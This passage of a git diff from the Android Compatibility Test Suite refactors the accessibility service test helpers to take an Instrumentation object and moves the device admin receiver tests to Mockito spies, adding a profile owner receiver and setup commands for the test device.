             path.lineTo(10 + i, 10 + i);
-            gestureBuilder.addStroke(
-                    new GestureDescription.StrokeDescription(path, 0, NOMINAL_PATH_DURATION));
+            gestureBuilder.addStroke(new StrokeDescription(path, 0, NOMINAL_PATH_DURATION));
         }
         Path path = new Path();
         path.moveTo(10, 10);
         path.lineTo(20, 20);
         try {
-            gestureBuilder.addStroke(
-                    new GestureDescription.StrokeDescription(path, 0, NOMINAL_PATH_DURATION));
+            gestureBuilder.addStroke(new StrokeDescription(path, 0, NOMINAL_PATH_DURATION));
             fail("Missing exception for adding too many strokes.");
         } catch (RuntimeException e) {
         }
@@ -141,8 +158,8 @@
         path.lineTo(20, 20);
         GestureDescription.Builder gestureBuilder = new GestureDescription.Builder();
         try {
-            gestureBuilder.addStroke(new GestureDescription.StrokeDescription(
-                    path, 0, GestureDescription.getMaxGestureDuration() + 1));
+            gestureBuilder.addStroke(
+                    new StrokeDescription(path, 0, GestureDescription.getMaxGestureDuration() + 1));
             fail("Missing exception for adding stroke with duration too long.");
         } catch (RuntimeException e) {
         }
@@ -166,7 +183,7 @@
         Path path = new Path();
         path.moveTo(x, startY);
         path.lineTo(x, endY);
-        GestureDescription.StrokeDescription strokeDescription = new GestureDescription.StrokeDescription(path, start, duration);
+        StrokeDescription strokeDescription = new StrokeDescription(path, start, duration);
         GestureDescription.Builder builder = new GestureDescription.Builder();
         builder.addStroke(strokeDescription);
 
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
index 4a9ce08..324cf33 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/InstrumentedAccessibilityService.java
@@ -2,6 +2,7 @@
 
 import android.accessibilityservice.AccessibilityService;
 import android.accessibilityservice.AccessibilityServiceInfo;
+import android.app.Instrumentation;
 import android.content.Context;
 import android.os.Handler;
 import android.os.SystemClock;
@@ -30,6 +31,9 @@
             sInstances = new HashMap<>();
 
     private final Handler mHandler = new Handler();
+    final Object mInterruptWaitObject = new Object();
+    public boolean mOnInterruptCalled;
+
 
     @Override
     protected void onServiceConnected() {
@@ -53,7 +57,10 @@
 
     @Override
     public void onInterrupt() {
-        // Stub method.
+        synchronized (mInterruptWaitObject) {
+            mOnInterruptCalled = true;
+            mInterruptWaitObject.notifyAll();
+        }
     }
 
     public void disableSelfAndRemove() {
@@ -70,6 +77,16 @@
         assertTrue("Timed out waiting for runOnServiceSync()", sr.waitForComplete());
     }
 
+    public boolean wasOnInterruptCalled() {
+        synchronized (mInterruptWaitObject) {
+            return mOnInterruptCalled;
+        }
+    }
+
+    public Object getInterruptWaitObject() {
+        return mInterruptWaitObject;
+    }
+
     private static final class SyncRunnable implements Runnable {
         private final CountDownLatch mLatch = new CountDownLatch(1);
         private final Runnable mTarget;
@@ -95,9 +112,9 @@
     }
 
     protected static <T extends InstrumentedAccessibilityService> T enableService(
-            InstrumentationTestCase testCase, Class<T> clazz) {
+            Instrumentation instrumentation, Class<T> clazz) {
         final String serviceName = clazz.getSimpleName();
-        final Context context = testCase.getInstrumentation().getContext();
+        final Context context = instrumentation.getContext();
         final String enabledServices = Settings.Secure.getString(
                 context.getContentResolver(),
                 Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
@@ -112,7 +129,7 @@
         for (AccessibilityServiceInfo serviceInfo : serviceInfos) {
             final String serviceId = serviceInfo.getId();
             if (serviceId.endsWith(serviceName)) {
-                ShellCommandBuilder.create(testCase)
+                ShellCommandBuilder.create(instrumentation)
                         .putSecureSetting(Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES,
                                 enabledServices + COMPONENT_NAME_SEPARATOR + serviceId)
                         .putSecureSetting(Settings.Secure.ACCESSIBILITY_ENABLED, "1")
@@ -120,7 +137,7 @@
 
                 final T instance = getInstanceForClass(clazz, TIMEOUT_SERVICE_ENABLE);
                 if (instance == null) {
-                    ShellCommandBuilder.create(testCase)
+                    ShellCommandBuilder.create(instrumentation)
                             .putSecureSetting(Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES,
                                     enabledServices)
                             .run();
@@ -157,9 +174,9 @@
         return null;
     }
 
-    public static void disableAllServices(InstrumentationTestCase testCase) {
+    public static void disableAllServices(Instrumentation instrumentation) {
         final Object waitLockForA11yOff = new Object();
-        final Context context = testCase.getInstrumentation().getContext();
+        final Context context = instrumentation.getContext();
         final AccessibilityManager manager =
                 (AccessibilityManager) context.getSystemService(Context.ACCESSIBILITY_SERVICE);
         manager.addAccessibilityStateChangeListener(b -> {
@@ -168,7 +185,7 @@
             }
         });
 
-        ShellCommandBuilder.create(testCase)
+        ShellCommandBuilder.create(instrumentation)
                 .deleteSecureSetting(Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES)
                 .deleteSecureSetting(Settings.Secure.ACCESSIBILITY_ENABLED)
                 .run();
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/ShellCommandBuilder.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/ShellCommandBuilder.java
index 1ad55fc..823b8d6 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/ShellCommandBuilder.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/ShellCommandBuilder.java
@@ -16,9 +16,9 @@
 
 package android.accessibilityservice.cts;
 
+import android.app.Instrumentation;
 import android.app.UiAutomation;
 import android.os.ParcelFileDescriptor;
-import android.test.InstrumentationTestCase;
 
 import java.io.BufferedReader;
 import java.io.FileInputStream;
@@ -31,18 +31,18 @@
 public class ShellCommandBuilder {
     private final LinkedList<String> mCommands = new LinkedList<>();
 
-    private final InstrumentationTestCase mTestCase;
+    private final Instrumentation mInstrumentation;
 
-    public static ShellCommandBuilder create(InstrumentationTestCase testCase) {
-        return new ShellCommandBuilder(testCase);
+    public static ShellCommandBuilder create(Instrumentation instrumentation) {
+        return new ShellCommandBuilder(instrumentation);
     }
 
-    private ShellCommandBuilder(InstrumentationTestCase testCase) {
-        mTestCase = testCase;
+    private ShellCommandBuilder(Instrumentation instrumentation) {
+        mInstrumentation = instrumentation;
     }
 
     public void run() {
-        final UiAutomation automation = mTestCase.getInstrumentation().getUiAutomation(
+        final UiAutomation automation = mInstrumentation.getUiAutomation(
                 UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
         for (String command : mCommands) {
             execShellCommand(automation, command);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubAccessibilityButtonService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubAccessibilityButtonService.java
new file mode 100644
index 0000000..ad3050a
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubAccessibilityButtonService.java
@@ -0,0 +1,27 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
+ * express or implied. See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import android.app.Instrumentation;
+
+/**
+ * A stub accessibility service to install for testing accessibility button APIs
+ */
+public class StubAccessibilityButtonService extends InstrumentedAccessibilityService {
+    public static StubAccessibilityButtonService enableSelf(Instrumentation instrumentation) {
+        return InstrumentedAccessibilityService.enableService(
+                instrumentation, StubAccessibilityButtonService.class);
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFingerprintGestureService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFingerprintGestureService.java
new file mode 100644
index 0000000..10776c8
--- /dev/null
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubFingerprintGestureService.java
@@ -0,0 +1,27 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
+ * in compliance with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software distributed under the
+ * License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either
+ * express or implied. See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.accessibilityservice.cts;
+
+import android.app.Instrumentation;
+
+/**
+ * A stub accessibility service to install for testing gesture dispatch
+ */
+public class StubFingerprintGestureService extends InstrumentedAccessibilityService {
+    public static StubFingerprintGestureService enableSelf(Instrumentation instrumentation) {
+        return InstrumentedAccessibilityService.enableService(
+                instrumentation, StubFingerprintGestureService.class);
+    }
+}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubGestureAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubGestureAccessibilityService.java
index caf5ab3..e1699e8 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubGestureAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubGestureAccessibilityService.java
@@ -15,11 +15,8 @@
 package android.accessibilityservice.cts;
 
 import android.accessibilityservice.GestureDescription;
+import android.app.Instrumentation;
 import android.os.Handler;
-import android.test.InstrumentationTestCase;
-import android.view.accessibility.AccessibilityEvent;
-
-import java.io.IOException;
 
 /**
  * A stub accessibility service to install for testing gesture dispatch
@@ -31,8 +28,8 @@
         return dispatchGesture(description, callback, handler);
     }
 
-    public static StubGestureAccessibilityService enableSelf(InstrumentationTestCase test) {
+    public static StubGestureAccessibilityService enableSelf(Instrumentation instrumentation) {
         return InstrumentedAccessibilityService.enableService(
-                test, StubGestureAccessibilityService.class);
+                instrumentation, StubGestureAccessibilityService.class);
     }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubMagnificationAccessibilityService.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubMagnificationAccessibilityService.java
index e5e1949..669ebda 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/StubMagnificationAccessibilityService.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/StubMagnificationAccessibilityService.java
@@ -14,20 +14,16 @@
 
 package android.accessibilityservice.cts;
 
-import android.accessibilityservice.GestureDescription;
-import android.os.Handler;
-import android.test.InstrumentationTestCase;
-import android.view.accessibility.AccessibilityEvent;
-
-import java.io.IOException;
+import android.app.Instrumentation;
 
 /**
  * A stub accessibility service to install for testing gesture dispatch
  */
 public class StubMagnificationAccessibilityService extends InstrumentedAccessibilityService {
 
-    public static StubMagnificationAccessibilityService enableSelf(InstrumentationTestCase test) {
+    public static StubMagnificationAccessibilityService enableSelf(
+            Instrumentation instrumentation) {
         return InstrumentedAccessibilityService.enableService(
-                test, StubMagnificationAccessibilityService.class);
+                instrumentation, StubMagnificationAccessibilityService.class);
     }
 }
diff --git a/tests/admin/Android.mk b/tests/admin/Android.mk
index 74bfc70..595c0a3 100644
--- a/tests/admin/Android.mk
+++ b/tests/admin/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner mockito-target
+    ctstestrunner mockito-target-minus-junit4
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/admin/AndroidTest.xml b/tests/admin/AndroidTest.xml
index 03cc150..a0233d7 100644
--- a/tests/admin/AndroidTest.xml
+++ b/tests/admin/AndroidTest.xml
@@ -14,8 +14,10 @@
      limitations under the License.
 -->
 <configuration description="Config for the CTS device admin tests">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
+        <option name="install-arg" value="-t" />
         <option name="test-file-name" value="CtsAdminApp.apk" />
         <option name="test-file-name" value="CtsAdminTestCases.apk" />
     </target_preparer>
@@ -23,17 +25,15 @@
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="dpm set-active-admin --user cur android.admin.app/.CtsDeviceAdminReceiver" />
         <option name="run-command" value="dpm set-active-admin --user cur android.admin.app/.CtsDeviceAdminReceiver2" />
+        <option name="run-command" value="dpm set-profile-owner --user cur android.admin.app/.CtsDeviceAdminProfileOwner" />
+        <option name="teardown-command" value="dpm remove-active-admin --user cur android.admin.app/.CtsDeviceAdminProfileOwner" />
+        <option name="teardown-command" value="dpm remove-active-admin --user cur android.admin.app/.CtsDeviceAdminReceiver" />
+        <option name="teardown-command" value="dpm remove-active-admin --user cur android.admin.app/.CtsDeviceAdminReceiver2" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.admin.cts" />
-        <option name="runtime-hint" value="20s" />
+        <option name="runtime-hint" value="17m" />
     </test>
 
-    <!-- Instrument the app to clear the device admins so the apk can be uninstalled -->
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstrumentationPreparer">
-        <option name="apk" value="CtsAdminApp.apk" />
-        <option name="package" value="android.admin.app" />
-        <option name="when" value="after" />
-    </target_preparer>
 </configuration>
diff --git a/tests/admin/app/Android.mk b/tests/admin/app/Android.mk
index 66a183a..aac8a89 100644
--- a/tests/admin/app/Android.mk
+++ b/tests/admin/app/Android.mk
@@ -22,7 +22,7 @@
 
 LOCAL_JAVA_LIBRARIES := guava
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/admin/app/AndroidManifest.xml b/tests/admin/app/AndroidManifest.xml
index 0834579..63c653a 100644
--- a/tests/admin/app/AndroidManifest.xml
+++ b/tests/admin/app/AndroidManifest.xml
@@ -18,7 +18,7 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.admin.app">
-    <application>
+    <application android:testOnly="true">
 
         <uses-library android:name="android.test.runner"/>
 
@@ -31,6 +31,15 @@
             </intent-filter>
         </receiver>
 
+        <receiver android:name="android.admin.app.CtsDeviceAdminProfileOwner"
+                  android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data android:name="android.app.device_admin"
+                       android:resource="@xml/device_admin" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+
         <receiver android:name="android.admin.app.CtsDeviceAdminReceiver"
                 android:permission="android.permission.BIND_DEVICE_ADMIN">
             <meta-data android:name="android.app.device_admin"
@@ -116,11 +125,4 @@
 
     </application>
 
-    <!--  self-instrumenting test package. -->
-    <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:label="Deactivate Admins"
-        android:targetPackage="android.admin.app" >
-    </instrumentation>
-
 </manifest>
diff --git a/tests/admin/app/src/android/admin/app/CtsDeviceAdminProfileOwner.java b/tests/admin/app/src/android/admin/app/CtsDeviceAdminProfileOwner.java
new file mode 100644
index 0000000..1c6ce24
--- /dev/null
+++ b/tests/admin/app/src/android/admin/app/CtsDeviceAdminProfileOwner.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.admin.app;
+
+import android.app.admin.DeviceAdminReceiver;
+
+public class CtsDeviceAdminProfileOwner extends DeviceAdminReceiver {
+}
diff --git a/tests/admin/app/src/android/admin/app/DeactivationTest.java b/tests/admin/app/src/android/admin/app/DeactivationTest.java
deleted file mode 100644
index 20bba5c..0000000
--- a/tests/admin/app/src/android/admin/app/DeactivationTest.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.admin.app;
-
-import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
-import android.content.Context;
-import android.test.AndroidTestCase;
-
-/**
- * Helper to deactivate Device Admins.
- */
-public class DeactivationTest extends AndroidTestCase {
-    private static final String PACKAGE = CtsDeviceAdminReceiver.class.getPackage().getName();
-    private static final ComponentName RECEIVER1 = new ComponentName(PACKAGE,
-            CtsDeviceAdminReceiver.class.getName());
-    private static final ComponentName RECEIVER2 = new ComponentName(PACKAGE,
-            CtsDeviceAdminReceiver2.class.getName());
-
-    public void testDeactivateAdmins() throws Exception {
-        DevicePolicyManager manager = (DevicePolicyManager)
-                getContext().getSystemService(Context.DEVICE_POLICY_SERVICE);
-        assertNotNull(manager);
-
-        manager.removeActiveAdmin(RECEIVER1);
-        manager.removeActiveAdmin(RECEIVER2);
-
-        for (int i = 0; i < 1000 && isActive(manager); i++) {
-            try {
-                Thread.sleep(100);
-            } catch (InterruptedException e) {
-                e.printStackTrace();
-            }
-        }
-        assertFalse(isActive(manager));
-    }
-
-    private boolean isActive(DevicePolicyManager manager) {
-        return manager.isAdminActive(RECEIVER1) ||
-                manager.isAdminActive(RECEIVER2);
-    }
-}
\ No newline at end of file
diff --git a/tests/admin/src/android/admin/cts/DeviceAdminActivationTest.java b/tests/admin/src/android/admin/cts/DeviceAdminActivationTest.java
index e3b7c4b..f20243b 100644
--- a/tests/admin/src/android/admin/cts/DeviceAdminActivationTest.java
+++ b/tests/admin/src/android/admin/cts/DeviceAdminActivationTest.java
@@ -177,7 +177,7 @@
                 .onActivityResult(
                         Mockito.eq(REQUEST_CODE_ACTIVATE_ADMIN),
                         Mockito.anyInt(),
-                        Mockito.any(Intent.class));
+                        Mockito.nullable(Intent.class));
     }
 
     private void assertWithTimeoutOnActivityResultInvokedWithResultCode(int expectedResultCode) {
@@ -186,7 +186,7 @@
                 .onActivityResult(
                         Mockito.eq(REQUEST_CODE_ACTIVATE_ADMIN),
                         resultCodeCaptor.capture(),
-                        Mockito.any(Intent.class));
+                        Mockito.nullable(Intent.class));
         assertEquals(expectedResultCode, (int) resultCodeCaptor.getValue());
     }
 
diff --git a/tests/admin/src/android/admin/cts/DeviceAdminInfoTest.java b/tests/admin/src/android/admin/cts/DeviceAdminInfoTest.java
index ca1b340..4e4aff4 100644
--- a/tests/admin/src/android/admin/cts/DeviceAdminInfoTest.java
+++ b/tests/admin/src/android/admin/cts/DeviceAdminInfoTest.java
@@ -50,6 +50,10 @@
         return new ComponentName("android.admin.app", "android.admin.app.CtsDeviceAdminReceiver2");
     }
 
+    static ComponentName getProfileOwnerComponent() {
+        return new ComponentName("android.admin.app", "android.admin.app.CtsDeviceAdminProfileOwner");
+    }
+
     public void testDeviceAdminInfo() throws Exception {
         if (!mDeviceAdmin) {
             Log.w(TAG, "Skipping testDeviceAdminInfo");
diff --git a/tests/admin/src/android/admin/cts/DeviceAdminReceiverTest.java b/tests/admin/src/android/admin/cts/DeviceAdminReceiverTest.java
index 81ea503..cbc8811 100644
--- a/tests/admin/src/android/admin/cts/DeviceAdminReceiverTest.java
+++ b/tests/admin/src/android/admin/cts/DeviceAdminReceiverTest.java
@@ -16,19 +16,38 @@
 
 package android.admin.cts;
 
+import static android.app.admin.DeviceAdminReceiver.ACTION_PASSWORD_CHANGED;
+import static android.app.admin.DeviceAdminReceiver.ACTION_PASSWORD_FAILED;
+import static android.app.admin.DeviceAdminReceiver.ACTION_PASSWORD_SUCCEEDED;
+import static android.app.admin.DeviceAdminReceiver.ACTION_PASSWORD_EXPIRING;
+
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.argThat;
+import static org.mockito.Mockito.eq;
+import static org.mockito.Mockito.verify;
+
 import android.app.admin.DeviceAdminReceiver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
+import android.os.Process;
+import android.os.UserHandle;
 import android.platform.test.annotations.Presubmit;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
+import org.mockito.MockitoAnnotations;
+import org.mockito.Spy;
+import org.mockito.compat.ArgumentMatcher;
+
 public class DeviceAdminReceiverTest extends AndroidTestCase {
 
     private static final String TAG = DeviceAdminReceiverTest.class.getSimpleName();
     private static final String DISABLE_WARNING = "Disable Warning";
     private static final String BUGREPORT_HASH = "f4k3h45h";
+    private static final long NETWORK_LOGS_TOKEN = (123L << 40L);
+    private static final int NETWORK_LOGS_COUNT = (321 << 20);
+    private static final UserHandle USER = Process.myUserHandle();
 
     private static final String ACTION_BUGREPORT_SHARING_DECLINED =
             "android.app.action.BUGREPORT_SHARING_DECLINED";
@@ -41,163 +60,162 @@
             "android.app.extra.BUGREPORT_FAILURE_REASON";
     private static final String EXTRA_BUGREPORT_HASH = "android.app.extra.BUGREPORT_HASH";
 
-    private static final int PASSWORD_CHANGED = 0x1;
-    private static final int PASSWORD_FAILED = 0x2;
-    private static final int PASSWORD_SUCCEEDED = 0x4;
-    private static final int DEVICE_ADMIN_ENABLED = 0x8;
-    private static final int DEVICE_ADMIN_DISABLE_REQUESTED = 0x10;
-    private static final int DEVICE_ADMIN_DISABLED = 0x20;
-    private static final int BUGREPORT_SHARING_DECLINED = 0x40;
-    private static final int BUGREPORT_FAILED = 0x80;
-    private static final int BUGREPORT_SHARED = 0x100;
-    private static final int SECURITY_LOGS_AVAILABLE = 0x200;
+    private static final String ACTION_NETWORK_LOGS_AVAILABLE
+            = "android.app.action.NETWORK_LOGS_AVAILABLE";
+    private static final String EXTRA_NETWORK_LOGS_TOKEN =
+            "android.app.extra.EXTRA_NETWORK_LOGS_TOKEN";
+    private static final String EXTRA_NETWORK_LOGS_COUNT =
+            "android.app.extra.EXTRA_NETWORK_LOGS_COUNT";
 
-    private TestReceiver mReceiver;
+    @Spy
+    public DeviceAdminReceiver mReceiver;
     private boolean mDeviceAdmin;
 
     @Override
     protected void setUp() throws Exception {
         super.setUp();
-        mReceiver = new TestReceiver();
+        mReceiver = new DeviceAdminReceiver();
         mDeviceAdmin =
                 mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_DEVICE_ADMIN);
+        MockitoAnnotations.initMocks(this);
     }
 
     @Presubmit
-    public void testOnReceive() {
+    public void testOnReceivePasswordChanged() {
         if (!mDeviceAdmin) {
-            Log.w(TAG, "Skipping testOnReceive");
+            Log.w(TAG, "Skipping testOnReceivePasswordChanged");
             return;
         }
-        mReceiver.reset();
-        mReceiver.onReceive(mContext, new Intent(DeviceAdminReceiver.ACTION_PASSWORD_CHANGED));
-        assertTrue(mReceiver.hasFlags(PASSWORD_CHANGED));
+        mReceiver.onReceive(mContext, new Intent(DeviceAdminReceiver.ACTION_PASSWORD_CHANGED)
+                .putExtra(Intent.EXTRA_USER, USER));
+        verify(mReceiver).onPasswordChanged(any(), actionEq(ACTION_PASSWORD_CHANGED), eq(USER));
+        verify(mReceiver).onPasswordChanged(any(), actionEq(ACTION_PASSWORD_CHANGED));
+    }
 
-        mReceiver.reset();
-        mReceiver.onReceive(mContext, new Intent(DeviceAdminReceiver.ACTION_PASSWORD_FAILED));
-        assertTrue(mReceiver.hasFlags(PASSWORD_FAILED));
+    @Presubmit
+    public void testOnReceivePasswordFailed() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testOnReceivePasswordFailed");
+        }
+        mReceiver.onReceive(mContext, new Intent(DeviceAdminReceiver.ACTION_PASSWORD_FAILED)
+                .putExtra(Intent.EXTRA_USER, USER));
+        verify(mReceiver).onPasswordFailed(any(), actionEq(ACTION_PASSWORD_FAILED), eq(USER));
+        verify(mReceiver).onPasswordFailed(any(), actionEq(ACTION_PASSWORD_FAILED));
+    }
 
-        mReceiver.reset();
-        mReceiver.onReceive(mContext, new Intent(DeviceAdminReceiver.ACTION_PASSWORD_SUCCEEDED));
-        assertTrue(mReceiver.hasFlags(PASSWORD_SUCCEEDED));
+    @Presubmit
+    public void testOnReceivePasswordSucceeded() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testOnReceivePasswordSucceeded");
+        }
+        mReceiver.onReceive(mContext, new Intent(DeviceAdminReceiver.ACTION_PASSWORD_SUCCEEDED)
+                .putExtra(Intent.EXTRA_USER, USER));
+        verify(mReceiver).onPasswordSucceeded(any(), actionEq(ACTION_PASSWORD_SUCCEEDED), eq(USER));
+        verify(mReceiver).onPasswordSucceeded(any(), actionEq(ACTION_PASSWORD_SUCCEEDED));
+    }
 
-        mReceiver.reset();
+    @Presubmit
+    public void testOnReceivePasswordExpiring() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testOnReceivePasswordExpiring");
+        }
+        mReceiver.onReceive(mContext, new Intent(DeviceAdminReceiver.ACTION_PASSWORD_EXPIRING)
+                .putExtra(Intent.EXTRA_USER, USER));
+        verify(mReceiver).onPasswordExpiring(any(), actionEq(ACTION_PASSWORD_EXPIRING), eq(USER));
+        verify(mReceiver).onPasswordExpiring(any(), actionEq(ACTION_PASSWORD_EXPIRING));
+    }
+
+    @Presubmit
+    public void testOnReceiveEnabled() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testOnReceiveEnabled");
+            return;
+        }
         mReceiver.onReceive(mContext, new Intent(DeviceAdminReceiver.ACTION_DEVICE_ADMIN_ENABLED));
-        assertTrue(mReceiver.hasFlags(DEVICE_ADMIN_ENABLED));
+        verify(mReceiver).onEnabled(
+                any(), actionEq(DeviceAdminReceiver.ACTION_DEVICE_ADMIN_ENABLED));
+    }
 
-        mReceiver.reset();
+    @Presubmit
+    public void testOnReceiveDisabled() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testOnReceiveDisabled");
+            return;
+        }
         mReceiver.onReceive(mContext, new Intent(DeviceAdminReceiver.ACTION_DEVICE_ADMIN_DISABLED));
-        assertTrue(mReceiver.hasFlags(DEVICE_ADMIN_DISABLED));
+        verify(mReceiver).onDisabled(
+                any(), actionEq(DeviceAdminReceiver.ACTION_DEVICE_ADMIN_DISABLED));
+    }
 
-        mReceiver.reset();
+    @Presubmit
+    public void testOnReceiveBugreportSharingDeclined() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testOnReceiveBugreportSharingDeclined");
+            return;
+        }
         mReceiver.onReceive(mContext, new Intent(ACTION_BUGREPORT_SHARING_DECLINED));
-        assertTrue(mReceiver.hasFlags(BUGREPORT_SHARING_DECLINED));
+        verify(mReceiver).onBugreportSharingDeclined(
+                any(), actionEq(ACTION_BUGREPORT_SHARING_DECLINED));
+    }
 
-        mReceiver.reset();
+    @Presubmit
+    public void testOnReceiveBugreportFailed() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testOnReceiveBugreportFailed");
+            return;
+        }
         Intent bugreportFailedIntent = new Intent(ACTION_BUGREPORT_FAILED);
         bugreportFailedIntent.putExtra(EXTRA_BUGREPORT_FAILURE_REASON,
                 DeviceAdminReceiver.BUGREPORT_FAILURE_FAILED_COMPLETING);
         mReceiver.onReceive(mContext, bugreportFailedIntent);
-        assertTrue(mReceiver.hasFlags(BUGREPORT_FAILED));
-        assertEquals(DeviceAdminReceiver.BUGREPORT_FAILURE_FAILED_COMPLETING,
-                mReceiver.getBugreportFailureCode());
+        verify(mReceiver).onBugreportFailed(any(), actionEq(ACTION_BUGREPORT_FAILED),
+                eq(DeviceAdminReceiver.BUGREPORT_FAILURE_FAILED_COMPLETING));
+    }
 
-        mReceiver.reset();
+    @Presubmit
+    public void testOnReceiveBugreportShared() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testOnReceiveBugreportShared");
+            return;
+        }
         Intent bugreportSharedIntent = new Intent(ACTION_BUGREPORT_SHARE);
         bugreportSharedIntent.putExtra(EXTRA_BUGREPORT_HASH, BUGREPORT_HASH);
         mReceiver.onReceive(mContext, bugreportSharedIntent);
-        assertTrue(mReceiver.hasFlags(BUGREPORT_SHARED));
-        assertEquals(BUGREPORT_HASH, mReceiver.getBugreportHash());
-
-        mReceiver.reset();
-        mReceiver.onReceive(mContext, new Intent(ACTION_SECURITY_LOGS_AVAILABLE));
-        assertTrue(mReceiver.hasFlags(SECURITY_LOGS_AVAILABLE));
+        verify(mReceiver).onBugreportShared(
+                any(), actionEq(ACTION_BUGREPORT_SHARE), eq(BUGREPORT_HASH));
     }
 
-    private class TestReceiver extends DeviceAdminReceiver {
-
-        private int mFlags = 0;
-        private int bugreportFailureCode = -1;
-        private String bugreportHash;
-
-        void reset() {
-            mFlags = 0;
-            bugreportFailureCode = -1;
-            bugreportHash = null;
+    @Presubmit
+    public void testOnReceiveSecurityLogsAvailable() {
+        if (!mDeviceAdmin) {
+            Log.w(TAG, "Skipping testOnReceiveSecurityLogsAvailable");
+            return;
         }
